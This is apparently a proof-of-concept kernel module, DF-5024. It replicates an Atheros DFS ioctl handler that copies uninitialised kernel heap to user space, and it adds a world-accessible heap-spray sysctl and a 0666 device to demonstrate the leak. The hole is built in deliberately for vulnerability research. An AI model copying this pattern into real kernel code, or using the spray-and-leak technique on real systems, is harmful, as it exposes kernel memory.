DF-5024 / df5024.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 | /* * DF-5024 sink demo โ ath_ioctl_phyerr() uninitialized-heap disclosure * (sys/dev/netif/ath/ath_dfs/null/dfs_null.c:253-281) * * The guest has no Atheros NIC and the stock kernel is built without * ATH_DIAGAPI, so SIOCGATHPHYERR cannot be entered at runtime. Following the * DF-4986/DF-5012 house precedent, this module replicates the *exact* ioctl * body of dfs_null.c ath_ioctl_phyerr() lines 221-288 (verbatim structure, * same kmalloc(M_TEMP, M_INTWAIT), same unconditional copyout at :280), with * only the two HAL calls elided (they are NOT executed on the leaking paths: * the default: case and the short-insize SET case return before touching * sc->sc_ah). * * Leaking paths replicated (ad_id & ATH_DIAG_ID not in {2,3}, or * DFS_SET_THRESH with ad_in_size < sizeof(HAL_PHYERR_PARAM)): * * dfs_null.c:253 outdata = kmalloc(outsize, M_TEMP, M_INTWAIT); // UNINIT * dfs_null.c:275 error = EINVAL; // ... * dfs_null.c:278-279 (no clamp: outsize == ad_out_size) * dfs_null.c:280 if (outdata && copyout(outdata, ad_out_data, * ad_out_size)) // LEAK * * A sysctl "df5024.spray" kmallocs/frees M_TEMP blocks filled with a marker * so the leaked bytes can be PROVEN to be recycled kernel heap rather than * zeros or user data. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/devfs.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/errno.h> #include <sys/types.h> /* ---- verbatim from sys/dev/netif/ath/ath/if_athioctl.h:187-196 ---- */ struct df5024_diag { char ad_name[16]; /* if name, e.g. "ath0" */ u_int16_t ad_id; #define ATH_DIAG_DYN 0x8000 /* allocate buffer in caller */ #define ATH_DIAG_IN 0x4000 /* copy in parameters */ #define ATH_DIAG_OUT 0x0000 /* copy out results (always) */ #define ATH_DIAG_ID 0x0fff u_int16_t ad_in_size; /* pack to fit, yech */ caddr_t ad_in_data; caddr_t ad_out_data; u_int ad_out_size; }; #define DF5024_IOCTL _IOWR('D', 24, struct df5024_diag) /* DFS ioctl commands โ if_athioctl.h:402-404 */ #define DFS_SET_THRESH 2 #define DFS_GET_THRESH 3 /* sizeof(HAL_PHYERR_PARAM) โ ah.h:974-1001, 15 x int32/uint32 */ #define HAL_PHYERR_PARAM_SIZE 60 static int spray_size = 2048; static int spray_rounds = 64; SYSCTL_INT(_debug, OID_AUTO, df5024_spray_size, CTLFLAG_RW, &spray_size, 0, "kmalloc size used by the heap-marker spray"); SYSCTL_INT(_debug, OID_AUTO, df5024_spray_rounds, CTLFLAG_RW, &spray_rounds, 0, "iterations per spray"); static const char marker[8] = "DF5024!!"; static int df5024_spray(SYSCTL_HANDLER_ARGS) { int i, j, n; void *p; for (i = 0; i < spray_rounds; i++) { p = kmalloc(spray_size, M_TEMP, M_INTWAIT); if (p == NULL) break; for (j = 0; j < spray_size; j += 8) { n = spray_size - j; if (n > 8) n = 8; memcpy((char *)p + j, marker, n); } kfree(p, M_TEMP); /* marker now lives on the M_TEMP freelist */ } return (sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req)); } SYSCTL_PROC(_debug, OID_AUTO, df5024_spray, CTLTYPE_INT | CTLFLAG_RW | CTLFLAG_ANYBODY, &spray_rounds, 0, df5024_spray, "I", "spray kernel M_TEMP heap with the DF5024 marker"); static d_open_t df5024_open; static d_close_t df5024_close; static d_ioctl_t df5024_ioctl; static struct dev_ops df5024_ops = { { "df5024", 0, D_MEM }, .d_open = df5024_open, .d_close = df5024_close, .d_ioctl = df5024_ioctl, }; static int df5024_open(struct dev_open_args *ap) { return (0); } static int df5024_close(struct dev_close_args *ap) { return (0); } /* * ---- VERBATIM REPLICA of dfs_null.c:221-288 ath_ioctl_phyerr() ---- * (HAL calls elided with comments; they are unreachable on the paths this * PoC exercises, which return/break before any sc->sc_ah dereference) */ static int df5024_ioctl(struct dev_ioctl_args *ap) { unsigned int id = ((struct df5024_diag *)ap->a_data)->ad_id & ATH_DIAG_ID; void *indata = NULL; void *outdata = NULL; u_int32_t insize = ((struct df5024_diag *)ap->a_data)->ad_in_size; u_int32_t outsize = ((struct df5024_diag *)ap->a_data)->ad_out_size; int error = 0; struct df5024_diag *ad = (struct df5024_diag *)ap->a_data; if (ad->ad_id & ATH_DIAG_IN) { indata = kmalloc(insize, M_TEMP, M_INTWAIT); if (indata == NULL) { error = ENOMEM; goto bad; } error = copyin(ad->ad_in_data, indata, insize); if (error) goto bad; } if (ad->ad_id & ATH_DIAG_DYN) { outdata = kmalloc(outsize, M_TEMP, M_INTWAIT); if (outdata == NULL) { error = ENOMEM; goto bad; } } switch (id) { case DFS_SET_THRESH: if (insize < HAL_PHYERR_PARAM_SIZE) { error = EINVAL; /* dfs_null.c:261-264 */ break; } /* ath_hal_enabledfs(sc->sc_ah, pe); NOT reached by PoC */ break; case DFS_GET_THRESH: /* DF-2051 territory โ deliberately not exercised here */ break; default: error = EINVAL; /* dfs_null.c:275-276 */ } if (outsize < ad->ad_out_size) /* dfs_null.c:278-279 */ ad->ad_out_size = outsize; if (outdata && copyout(outdata, ad->ad_out_data, ad->ad_out_size)) error = EFAULT; /* dfs_null.c:280-281: LEAK */ bad: if ((ad->ad_id & ATH_DIAG_IN) && indata != NULL) kfree(indata, M_TEMP); if ((ad->ad_id & ATH_DIAG_DYN) && outdata != NULL) kfree(outdata, M_TEMP); return (error); } static int df5024_modevent(module_t mod, int type, void *data) { int error = 0; switch (type) { case MOD_LOAD: make_dev(&df5024_ops, 0, UID_ROOT, GID_WHEEL, 0666, "df5024"); kprintf("df5024: sink replica of dfs_null.c ath_ioctl_phyerr " "loaded; /dev/df5024\n"); break; case MOD_UNLOAD: destroy_dev(devfs_find_device_by_name("df5024")); break; default: error = EOPNOTSUPP; break; } return (error); } DEV_MODULE(df5024, df5024_modevent, NULL); |